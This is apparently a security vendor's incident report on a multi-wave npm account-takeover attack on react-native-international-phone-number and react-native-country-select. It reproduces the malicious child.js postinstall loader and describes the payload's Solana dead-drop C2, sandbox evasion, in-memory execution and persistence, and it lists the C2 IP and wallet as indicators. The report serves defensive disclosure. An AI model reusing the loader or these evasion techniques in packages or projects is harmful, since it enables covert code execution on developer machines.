Update (March 18, 2026): ⚠ Ongoing Attack — Despite the maintainer's rapid response on March 16, the attacker did not stop. Over March 17–18, three additional malicious versions of react-native-international-phone-number were published (0.12.1, 0.12.2, 0.12.3) along with a new three-layer dependency chain delivering the same blockchain C2 malware. The maintainer has confirmed full account takeover. Do not use react-native-international-phone-number@latest or react-native-country-select@latest — both resolve to compromised versions.
On March 16, 2026, StepSecurity Threat Intel was the first to detect and report malicious releases in two popular React Native npm packages — react-native-international-phone-number and react-native-country-select. StepSecurity's AI Package Analyst flagged the compromised versions, and within minutes, StepSecurity filed security issues directly in both GitHub repositories — alerting the maintainer and the community before any other security vendor.
The maintainer responded within hours, deprecating the compromised versions. However, the attacker returned the very next morning with a more evasive technique — a dependency-chain attack using pre-staged scoped packages — confirming the underlying npm account or token had not yet been fully secured.
Key outcome: StepSecurity's AI-powered detection caught the supply chain attack within minutes of publication across all three waves. Despite the maintainer's cooperation, the attacker continued to publish new malicious versions — evolving from a direct preinstall hook to a multi-layer dependency chain. StepSecurity has reported all involved packages to npm for removal.
Stop the next npm supply chain attack before it impacts you
Cooldown checks block newly published packages in PRs. npm Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.
Both packages are widely used in React Native mobile applications for phone number input and country selection functionality:
0.11.8, 0.12.1, 0.12.2, 0.12.3; last known safe version: 0.11.70.3.91, 0.4.1, 0.4.2; last known safe version: 0.4.0. Also a dependency of react-native-international-phone-number, meaning users of either package were at risk. @latest currently resolves to the compromised 0.4.2 — do not use @latest.Both packages are maintained by @AstrOOnauta (astroonauta on npm), who maintains four packages total on the registry — these two being by far the most popular. react-native-country-select is also a dependency of react-native-international-phone-number, meaning users of either package were at risk.
StepSecurity's AI Package Analyst generated detailed analysis reports for all compromised packages, linked directly in the GitHub issue
Both Wave 1 packages were flagged within 5 minutes of publication. StepSecurity filed issues #165 and #11 within the hour, and the maintainer deprecated the malicious versions within 2 hours 21 minutes of publish. See the Full Attack Timeline for the complete multi-wave sequence.
Despite the maintainer's deprecation of 0.11.8 and 0.3.91 on March 16, the attacker had not lost access to the npm account. Beginning on the morning of March 17, a new campaign began taking shape — this time with a deliberate, multi-step setup before the malware was even activated.
The attacker pre-positioned two purpose-built npm packages as delivery infrastructure:
@usebioerhold8733/s-format@2.0.1 published at 8:23 AM UTC — a hollow clone of the legitimate string-format library. It contained a postinstall: "node init.js" hook, but init.js was intentionally absent from the tarball. The hook would fail silently. This was a dry run: the attacker was staging the package on npm and testing the dependency chain before activating the payload.@agnoliaarisian7180/string-argv@0.3.0 published at ~8:44 AM UTC — a hollow clone of the legitimate string-argv utility containing no executable JavaScript whatsoever (only LICENSE, CHANGELOG.md, README.md, and package.json). Its sole function is to carry a dependency on @usebioerhold8733/s-format. The maintainer email is AgnoliaArisian7180@proton.me — a Proton Mail address consistent with the operational security pattern across all packages in this campaign.That evening at 9:36 PM UTC, react-native-international-phone-number@0.12.1 was published with @agnoliaarisian7180/string-argv@0.3.0 added as a new dependency. No corresponding GitHub Actions workflow run exists. The payload was not yet active — but the attack infrastructure was fully in place, waiting to be turned on.
When StepSecurity filed GitHub issue #167 reporting the anomaly, the maintainer confirmed the worst:
"I dont know what is happening, but my npm account was attacked and the library was taken over..sorry for it"
— @AstrOOnauta, package maintainer
The following morning, the attacker activated the payload and rapidly iterated the delivery mechanism across a sequence of coordinated releases spanning less than an hour.
Rather than embedding malware directly in the main package as done in Wave 1, the attacker buried the payload two hops away in the dependency tree:
react-native-international-phone-number (compromised via account takeover)
└── @agnoliaarisian7180/string-argv (hollow relay package)
└── @usebioerhold8733/s-format (payload host with postinstall hook)
└── postinstall: node child.js → exec(node init.js)
└── init.js: Solana blockchain C2 malware (identical to Wave 1)
This indirection makes automated detection harder: the main package appears clean at first glance, and the malicious behavior is buried in a transitive dependency with a plausible-sounding name. The attacker is using these packages as a rotating playground to deploy, test, and evolve the malware while keeping the main package at arm's length.
@usebioerhold8733/s-format — Rapid Iteration of the PayloadFour versions of @usebioerhold8733/s-format were published across March 17–18, each incrementally evolving the delivery mechanism:
postinstall: "node init.js" present, but init.js absent. Hook fails silently. init.js (18.9 KB, heavily obfuscated) added to the tarball. This file is byte-for-byte identical to the install.js embedded in react-native-international-phone-number@0.11.8 — the same Solana blockchain C2 malware reused without modification. Any user who had already installed 0.12.1 would receive the active payload on their next npm install. postinstall script is changed from "node init.js" to "node ./child.js" — but child.js is not yet included. The hook fails silently again. This appears to be an incremental staging step: the attacker was testing the updated hook before child.js was ready. child.js (364 bytes) is added. The delivery mechanism is now fully operational. child.js Loaderchild.js is a small (364-byte) launcher that executes init.js as a detached child process using child_process.exec, with all errors and stderr silently swallowed:
const fs = require('fs');
const child_process = require('child_process');
const path = require('path');
const initScript = path.join(__dirname, 'init.js');
if (fs.existsSync(initScript)) {
child_process.exec(`node "${initScript}"`, (err, stdout, stderr) => {
if (err) { return; }
if (stderr) {}
});
} else {}
By launching init.js as a fire-and-forget child process with all error channels suppressed, the malware avoids surfacing any visible failure or output during npm install. The postinstall hook completes cleanly from npm's perspective while the payload executes silently in the background.
Alongside the @usebioerhold8733/s-format iterations, the attacker updated both relay packages in lockstep:
@agnoliaarisian7180/string-argv@0.3.1 (March 18, 8:40 AM UTC) — changed the pinned @usebioerhold8733/s-format dependency from "2.0.1" to "latest", ensuring any future malicious update to the payload package propagates automatically to all downstream installs.react-native-international-phone-number@0.12.2 (March 18, 8:44 AM UTC) — upgraded @agnoliaarisian7180/string-argv from pinned "0.3.0" to "latest", completing the chain. Any install of 0.12.2 would now resolve the full attack chain to its latest malicious version.react-native-international-phone-number@0.12.3 (March 18, 9:14 AM UTC) — removed the now-vestigial preinstall: "node install.js" hook from package.json (cleanup), retained the malicious dependency, and changed the maintainer email to voughoeveryc05de@proton.me — a Proton Mail address not associated with the original author, suggesting the attacker was consolidating control of the account.StepSecurity AI Package Analyst reports for the Wave 3 packages:
react-native-country-select@0.3.91 published; StepSecurity AI Package Analyst flags both packages as critical severity within 5 minutesreact-native-international-phone-numberreact-native-country-selectreact-native-country-select@0.4.0@usebioerhold8733/s-format@2.0.1 published — postinstall hook present, init.js absent; no active payload (dry run)@agnoliaarisian7180/string-argv@0.3.0 published — hollow relay package depending on s-format@2.0.1react-native-international-phone-number@0.12.1 published with @agnoliaarisian7180/string-argv@0.3.0 as new dependency. No GitHub Actions run. Attack infrastructure in place; payload not yet active.March 17, 2026 — 9:39 PM UTC react-native-country-select@0.4.1 published — same attacker injects @agnoliaarisian7180/string-argv@0.3.0 into the previously clean 0.4.0 replacement. The dependency chain now spans both packages.@usebioerhold8733/s-format@2.0.2 published with init.js (18.9 KB obfuscated Solana C2 malware — byte-for-byte identical to Wave 1's install.js). Anyone who had installed 0.12.1 would receive the active payload on next npm install.react-native-international-phone-number@0.12.2 published — upgrades @agnoliaarisian7180/string-argv to "latest"; full chain now locked to latest malicious versionsMarch 18, 2026 — 8:43 AM UTC react-native-country-select@0.4.2 published — upgrades @agnoliaarisian7180/string-argv from pinned 0.3.0 to "latest". @latest for react-native-country-select now resolves to a compromised version.@usebioerhold8733/s-format@2.0.3 published — postinstall switched to "node ./child.js", but child.js absent (staging next delivery phase)@usebioerhold8733/s-format@2.0.4 published — child.js loader added; detached child process execution fully operationalreact-native-international-phone-number@0.12.3 published — preinstall hook removed (cleanup), malicious dependency retained, maintainer email changed to voughoeveryc05de@proton.me@agnoliaarisian7180/string-argv and @usebioerhold8733/s-format to npm for removal. Despite three waves of reporting and the maintainer's cooperation, the attacker has continued to publish new malicious versions. These packages remain active on npm as of this writing.Across all three waves, the attacker used a single consistent strategy: gain npm publish access, inject a malware launcher into the package, and have that launcher execute a remotely-controlled payload on every developer machine that runs npm install. What changed between waves was the delivery mechanism — each iteration was more evasive than the last. The core malware payload remained identical throughout.
Every malicious version was published without a corresponding GitHub release, tag, or Actions workflow run — bypassing the maintainer's established release process entirely. The gitHead in react-native-international-phone-number@0.11.8 is identical to v0.11.7, confirming the package was not built from any new source commit. By Wave 3, the attacker had changed the npm maintainer email to a Proton Mail address (voughoeveryc05de@proton.me) not belonging to the original author, indicating ongoing consolidation of account control. The maintainer later confirmed: "my npm account was attacked and the library was taken over."
The attacker iterated through progressively more evasive delivery approaches:
Wave 1 — Direct preinstall hook (March 16): The simplest approach. A preinstall: "node install.js" script was added directly to package.json, alongside an obfuscated install.js embedded in the tarball. This executes automatically on every npm install before any package code runs — the victim never needs to import or call anything. The install.js is heavily obfuscated using RC4-based string encryption and array rotation (a pattern common to the javascript-obfuscator toolchain).
Wave 2 & 3 — Three-layer dependency chain (March 17–18): After Wave 1 was detected and reported, the attacker pivoted to a dependency-chain approach, removing the visible install.js from the main package and burying the payload two hops away in pre-staged scoped packages:
react-native-international-phone-number
└── @agnoliaarisian7180/string-argv (hollow relay; no JS code of its own)
└── @usebioerhold8733/s-format (payload host)
└── postinstall: node child.js
└── child_process.exec("node init.js") ← fire-and-forget, errors suppressed
└── init.js ← same obfuscated malware as Wave 1's install.js
The child.js wrapper was added in v2.0.4 of @usebioerhold8733/s-format as an additional evasion layer: by launching init.js as a detached child process with all errors and stderr silently swallowed, the postinstall hook completes cleanly from npm's perspective while the payload runs invisibly in the background. The init.js payload in this chain is byte-for-byte identical to the install.js used in Wave 1 — the attacker changed the delivery vehicle, not the weapon.
The malware begins with a 10-second setTimeout delay before any malicious activity. This is a deliberate sandbox evasion technique: automated analysis tools that execute scripts with short timeouts will observe no suspicious behavior and may classify the package as benign. The entire payload is heavily obfuscated using RC4-based string encryption and array rotation — a pattern associated with the javascript-obfuscator toolchain — making static analysis significantly harder.
After the delay, the malware checks whether the victim machine is located in Russia or CIS by inspecting multiple independent signals
LANG, LANGUAGE, and LC_ALL environment variables for ru_RU / RussianEurope/Moscow, Asia/Krasnoyarsk, Asia/Vladivostok, Asia/Novosibirsk, Asia/Yekaterinburg, MSK, and othersIf any signal matches, the script exits immediately without executing. This is a classic nation-state avoidance pattern used by Russian-origin malware to protect compatriots and reduce exposure to domestic law enforcement. Its presence across all three waves is one of the strongest indicators linking them to a single actor.
Rather than hardcoding a payload URL — which would be trivially blocked by network filters — the attacker uses the Solana blockchain as a dead-drop command-and-control resolver. The malware polls a hardcoded Solana wallet address:
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
It calls the getSignaturesForAddress JSON-RPC method against nine public Solana RPC endpoints used as fallbacks (including api.mainnet-beta.solana.com, rpc.ankr.com/solana, solana-rpc.publicnode.com, and others). The attacker posts a transaction to the wallet with a Solana Memo Program message containing a base64-encoded payload URL embedded in a JSON link field. This gives the attacker the ability to silently rotate their payload server at any time — by posting a new transaction — without modifying a single byte of the malware. The payload URL is not burned into the binary and cannot be statically extracted.
With the URL decoded from the Solana memo, the malware issues an HTTP GET to the attacker's server at http://45.32.150.251/ (Vultr, AS20473). The current OS (Linux, Darwin, or Windows_NT) is sent as an os HTTP header, enabling the server to return platform-specific second-stage payloads. The response body contains the payload base64-encoded and AES-256 encrypted. Critically, the decryption key and IV are delivered not in the body but in HTTP response headers (secretkey and ivbase64) — meaning the encrypted payload on disk or in transit is useless without a simultaneous live connection to the C2 server.
The decrypted payload is executed entirely in memory, never written to disk: via eval(atob(payload)) on macOS/Linux, or via a Node.js vm.Script sandbox with full access to require, Buffer, and process on Windows. Both paths leave no payload artifact on the filesystem. After execution, a persistence lock is written to ~/init.json containing the current timestamp. The malware will not re-execute within a 48-hour window on the same machine — a rate-limit that reduces noise and helps the malware avoid detection by behavioral monitoring tools that watch for repeated suspicious activity.
The technical fingerprint of this campaign is a near-exact match to the ForceMemo campaign we documented on March 14, 2026, which compromised hundreds of GitHub Python repositories. Key shared indicators:
link field for payload URL delivery~/init.json 48-hour persistence lock45.32.150.251 falls in the same 45.32.150.x block as ForceMemo servers (45.32.150.97)eval() / vm.ScriptWhile the Solana wallet addresses differ (suggesting separate wallets per campaign), the operational infrastructure, obfuscation technique, and execution methodology are consistent with a single threat actor, likely the GlassWorm group.
ForceMemo targeted developer machines via compromised GitHub Python repos. This campaign targets them via the npm supply chain — specifically the React Native mobile developer ecosystem. The same actor is diversifying delivery vectors while reusing the same core malware framework.
StepSecurity's team responded to each wave as it emerged:
react-native-international-phone-number@0.12.1. StepSecurity filed issue #167 with a full analysis of the new dependency chain. The maintainer confirmed their account had been taken over.@usebioerhold8733/s-format through versions 2.0.1–2.0.4 and reported both @agnoliaarisian7180/string-argv and @usebioerhold8733/s-format to npm for removal.Each issue included clear evidence of the compromise (npm diffs, AI Package Analyst report links, cross-references between related packages), and step-by-step remediation guidance for the maintainer.
react-native-international-phone-number@0.11.8, react-native-country-select@0.3.916YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJhttp://45.32.150.251 (Vultr, AS20473)secretkey (AES-256 decryption key), ivbase64 (AES IV, base64-encoded)~/init.json — persistence/rate-limit lock (written on first execution)react-native-international-phone-number@0.12.1, 0.12.2, 0.12.3react-native-country-select@0.4.1, 0.4.2@agnoliaarisian7180/string-argv@0.3.0, 0.3.1@usebioerhold8733/s-format@2.0.1, 2.0.2, 2.0.3, 2.0.4http://45.32.150.251 (same Vultr IP as Wave 1)AgnoliaArisian7180@proton.me, UsebioErhold8733@proton.me, voughoeveryc05de@proton.me (all Proton Mail, all attacker-controlled)node init.js / node ./child.js, build environment Node 22.22.0 / npm 10.9.4, maintainer email changed to Proton Mail address not matching original author@agnoliaarisian7180/string-argv as a dependency of react-native-international-phone-numberreact-native-international-phone-numberreact-native-country-select@0.4.0~/init.json — its presence confirms the malware ran on your machine.env files at the time of installation45.32.150.251 or any Solana RPC endpoint made from your development machinenode_modules for the presence of @agnoliaarisian7180/string-argv or @usebioerhold8733/s-format — either indicates you installed a compromised version of the chainWe want to sincerely acknowledge @AstrOOnauta (Willian Ralf), the maintainer of both originally affected packages. Upon being notified in Wave 1, he responded promptly and professionally — deprecating the malicious versions and publishing clean replacements within approximately 90 minutes. His quick action limited the potential blast radius of the initial attack significantly.
The Wave 2 and Wave 3 account takeover could be entirely outside his control. He has been cooperative throughout — confirming the compromise, working with us on remediation, and responding promptly each time we filed a report. This incident is a reminder that even the most responsive maintainers are vulnerable to npm account takeover, and that tooling — not just human response — is required to contain sophisticated, persistent attackers.
StepSecurity provides end-to-end npm supply chain security across three pillars: Prevent, Detect, and Respond. Here's how each would have helped in this attack — and how they protect you against the next one. (Full documentation)
react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8 would have been blocked from any PR during the cooldown period.
Stop the next npm supply chain attack before it impacts you
Cooldown checks block newly published packages in PRs. npm Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。